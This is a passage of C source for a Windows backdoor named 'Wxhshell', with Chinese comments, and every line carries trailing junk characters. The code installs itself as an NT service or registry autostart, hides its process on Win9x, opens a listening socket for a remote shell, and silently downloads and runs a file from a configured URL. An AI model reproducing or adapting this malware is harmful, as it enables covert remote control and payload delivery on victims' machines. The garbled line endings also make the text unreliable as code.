x?T?J^
PROCNTQSIP NtQueryInformationProcess; V;hwAQbF
[H:GKhPC`
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .0fh>kQ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9}jq`xSL
!+DJhw&c,
HANDLE hProcess; i|]Va44
PROCESS_BASIC_INFORMATION pbi; +=~%S)9F
O:^LQ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zP h\3B
if(NULL == hInst ) return 0; 5H :~6z
=_m9so
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u!3]RGJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K7xWE,y
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $FusDdCv3
'uf\.F
if (!NtQueryInformationProcess) return 0; q&Tn>B
H~dHVQtJZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sa1z,EP
if(!hProcess) return 0; ,Lun-aMd
L}jF#*Q%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vG<pc_ak
hUT^V(
CloseHandle(hProcess); MYw8wwX0kJ
k8
;uC~L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;64mf`
if(hProcess==NULL) return 0; 4]aiT8))
0oj{e9h
HMODULE hMod; }\u% )uZ
char procName[255]; h#m:Y~GoF
unsigned long cbNeeded; $#!UGY
.Y(lB=pV
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {s8U7rmML
<< ;HY}s
CloseHandle(hProcess); (e8G
(
]Q4PbW
if(strstr(procName,"services")) return 1; // 以服务启动 B?#k W!wj
bKuj
po6
return 0; // 注册表启动 I!@s6tG
} "\/^/vn?
_))I.c=v
// 主模块 z{@R.'BD
int StartWxhshell(LPSTR lpCmdLine) *|k;a]HT
{ >^yc=mM(g3
SOCKET wsl; /j' B\,
BOOL val=TRUE; F?8BS*r_
int port=0; @ 2!C^}d3F
struct sockaddr_in door; .;HIEj zq
J}(6>iuQY?
if(wscfg.ws_autoins) Install(); :/v,r=Y9p
cZgMA8
F
port=atoi(lpCmdLine); 2sqm7th
bbNU\r5%
if(port<=0) port=wscfg.ws_port; ] dHB}
f{igW?Ho
WSADATA data; p`:*mf
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $Eio$TI
JYwyR++uo
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; _^ q\XPS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eB=v~I3
door.sin_family = AF_INET; yOWOU`y?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); )_77>f%
door.sin_port = htons(port); WgA`kT
^Ue0mC7m
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H\fcY p6
closesocket(wsl); Sk/#J!T8{
return 1; 69C8-fF0[I
} hI|/>4<
,{?q^"
if(listen(wsl,2) == INVALID_SOCKET) { &:c:9w
closesocket(wsl); F<Hqo>G
return 1; /Fv/oY
} ?C
&x/2lt
Wxhshell(wsl); dU]i-NF
WSACleanup(); K4! P'
P3iA(3I24<
return 0; 4l&"]9D
gEv-> pc
} =n-z;/NL
WY+(]Wkao
// 以NT服务方式启动 LY-lTr@A^
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4E=0qbt8
{ \Z)#lF|^
DWORD status = 0; 4!l
sk:R
DWORD specificError = 0xfffffff; ?fK^&6pI
FXx.$W
serviceStatus.dwServiceType = SERVICE_WIN32; q*6q}s3n
serviceStatus.dwCurrentState = SERVICE_START_PENDING; PSTu /^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t`"^7YFS>
serviceStatus.dwWin32ExitCode = 0; -@''[m .*
serviceStatus.dwServiceSpecificExitCode = 0; =-$!:W~
serviceStatus.dwCheckPoint = 0; Z-)[1+Hs
serviceStatus.dwWaitHint = 0; K8?zgRG3~N
KNg8HYFW\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Co@+I[,4&
if (hServiceStatusHandle==0) return; j2|XDOf
c 9rVgLqn!
status = GetLastError(); F=XF]
if (status!=NO_ERROR) ~~PgF"v
{ M@|w[ydQG
serviceStatus.dwCurrentState = SERVICE_STOPPED; U~aWG\h#X
serviceStatus.dwCheckPoint = 0; )YuRjBcp,"
serviceStatus.dwWaitHint = 0; +}Xr1fr{jw
serviceStatus.dwWin32ExitCode = status; C"6Amnj
serviceStatus.dwServiceSpecificExitCode = specificError; L@w0N)P<!{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); )`w=qCn1 Y
return; 2~f6~\4GL+
} a{h%DpG
Zj qA30!
serviceStatus.dwCurrentState = SERVICE_RUNNING; NuU'0_")/
serviceStatus.dwCheckPoint = 0; _u>t3RUA
serviceStatus.dwWaitHint = 0; f1A_`$>
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _N98 vf0o
} Oqpp=7
VS?dvZ1cC
// 处理NT服务事件,比如:启动、停止 P:
n# S %
VOID WINAPI NTServiceHandler(DWORD fdwControl) D7)(D4S4
{ B4Q79gEh=
switch(fdwControl) Fse['O~
{ eY
T8$
case SERVICE_CONTROL_STOP: M[~Jaxw%
serviceStatus.dwWin32ExitCode = 0; b SQRLxF
serviceStatus.dwCurrentState = SERVICE_STOPPED; O -G1})$
serviceStatus.dwCheckPoint = 0; TWUUvj`.
serviceStatus.dwWaitHint = 0; AzZJG v]H
{ zK=dzoy
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ITONpg[f
} !g8*r"[UJ
return; \M9h&I\7
case SERVICE_CONTROL_PAUSE: [*Q-nZ/L
serviceStatus.dwCurrentState = SERVICE_PAUSED; ! ,@ZQS
break; UxyY<H~Wx
case SERVICE_CONTROL_CONTINUE: *ksb?|<Ot
serviceStatus.dwCurrentState = SERVICE_RUNNING; Z|
We9%
break; KxY$PgcC
case SERVICE_CONTROL_INTERROGATE: @%c81rv?
break; gI)u}JX
}; lzEb5mg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c<?[d!vI
} ! a o6e
vv &BhIf3
// 标准应用程序主函数 r@iASITX
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u)v$JpNE
{ &pM'$}T*
(#$$nQj
// 获取操作系统版本 B| tzF0;c
OsIsNt=GetOsVer(); SET-8f
GetModuleFileName(NULL,ExeFile,MAX_PATH); Txo@U
RX'-99M
// 从命令行安装 w:}C8WKw
if(strpbrk(lpCmdLine,"iI")) Install(); 3qtr9NI
u_LY\'n
// 下载执行文件 Gg|M+M?+
if(wscfg.ws_downexe) { FI8k;4|V
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
O}C)~GU
WinExec(wscfg.ws_filenam,SW_HIDE); /PXioiGcs
} Ea4_Qmn
K#!X><B'
if(!OsIsNt) { X"j>=DEX
// 如果时win9x,隐藏进程并且设置为注册表启动 kh3<V'k]
HideProc(); !2$ z *C2;
StartWxhshell(lpCmdLine); %k2FPmA6
} dCe X}Z
else o2aM#Q
if(StartFromService()) \, 8p1$G
// 以服务方式启动 qaG# ;
StartServiceCtrlDispatcher(DispatchTable); ^O)ve^P
else !,Nwts>m
// 普通方式启动 h0Ee?=
StartWxhshell(lpCmdLine); F~6#LT
MS*G-C
return 0; B76 v}O:
}